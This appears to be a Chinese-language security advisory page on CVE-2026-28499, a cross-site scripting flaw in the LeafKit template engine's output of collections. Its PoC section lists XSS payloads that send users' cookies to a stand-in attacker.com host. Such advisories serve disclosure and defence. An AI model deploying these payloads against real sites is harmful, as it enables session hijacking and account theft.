IPBUF安全漏洞报告
English
CVE-2026-28499 CVSS 6.1 中危

LeafKit CVE-2026-28499 模板集合输出XSS漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-28499
漏洞类型
XSS跨站脚本
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LeafKit (vapor/leaf-kit)

相关标签

XSS跨站脚本LeafKitvapor模板注入HTML转义CVE-2026-28499Web安全模板引擎

漏洞概述

CVE-2026-28499是LeafKit模板引擎中的一个跨站脚本(XSS)漏洞。LeafKit是一个使用Swift风格语法的模板语言,广泛应用于Vapor Web框架中。该漏洞存在于1.14.2之前的版本,当模板通过`#(value)`语法打印集合类型(数组或字典)时,HTML转义机制未能正确工作。这导致攻击者可以通过在集合中注入恶意脚本内容,使得这些内容在渲染时被直接输出而不会进行HTML实体编码。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账户、执行恶意操作或重定向用户到钓鱼网站。由于该漏洞需要用户交互才能触发(UI:R),攻击复杂度相对较低,CVSS评分为6.1(中危)。

技术细节

LeafKit模板引擎在处理`#(value)`语法时,对集合类型(Array/Dictionary)的HTML转义存在缺陷。当开发者使用`#(collection)`输出数组或字典时,LeafKit直接将其转换为字符串表示形式进行输出,但转义逻辑未正确处理集合内部元素的特殊字符。具体来说,如果集合中包含`<script>`标签、事件处理器属性(如onerror、onload)或JavaScript伪协议(如javascript:),这些内容不会被转换为HTML实体,而是直接渲染到页面中。攻击者可以通过以下方式利用:1) 在用户可控的数据源中注入恶意内容到集合;2) 构造包含XSS payload的数组/字典;3) 当模板渲染该集合时,payload会被浏览器解析执行。修复方案在版本1.14.2中通过确保集合元素的递归转义来解决此问题。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标应用使用LeafKit模板引擎,并确定其版本是否低于1.14.2
STEP 2
2. 注入点识别
攻击者找到将用户可控数据添加到数组或字典中的功能点,如评论列表、标签云、搜索结果等
STEP 3
3. Payload注入
攻击者向数据源中注入XSS payload,payload被存储在集合类型的变量中
STEP 4
4. 模板渲染触发
当其他用户访问包含该数据的页面时,LeafKit模板通过#(collection)输出集合内容
STEP 5
5. XSS执行
由于HTML转义缺陷,恶意脚本被浏览器解析执行,攻击者窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// LeafKit XSS PoC - CVE-2026-28499 // This PoC demonstrates how malicious collection data can bypass HTML escaping // Vulnerable template example (before fix): // let values = ["<script>alert('XSS')</script>"] // In template: #(values) // Result: Script executes instead of being escaped // Example payload injection scenarios: const maliciousPayloads = [ '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>', '<img src=x onerror="fetch(\"https://attacker.com/log?data=\"+btoa(document.cookie))\">', '<svg/onload=fetch("https://attacker.com/steal?cookie="+document.cookie)>', 'javascript:alert(document.domain)', ]; // Example vulnerable code pattern: // let userComments = ["<script>alert(1)</script>"] // template.render("comments.leaf", ["comments": userComments]) // In template: #(comments) - outputs unescaped content // Fixed version (1.14.2+) would properly escape each element: // Expected output: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;

影响范围

LeafKit < 1.14.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 避免在模板中使用#(value)直接输出集合类型数据;2) 手动遍历集合元素并对每个元素进行HTML转义处理;3) 部署WAF规则过滤常见的XSS payload;4) 对涉及用户输入的集合进行服务器端内容过滤,移除script标签和事件处理器属性;5) 启用Content-Security-Policy限制脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表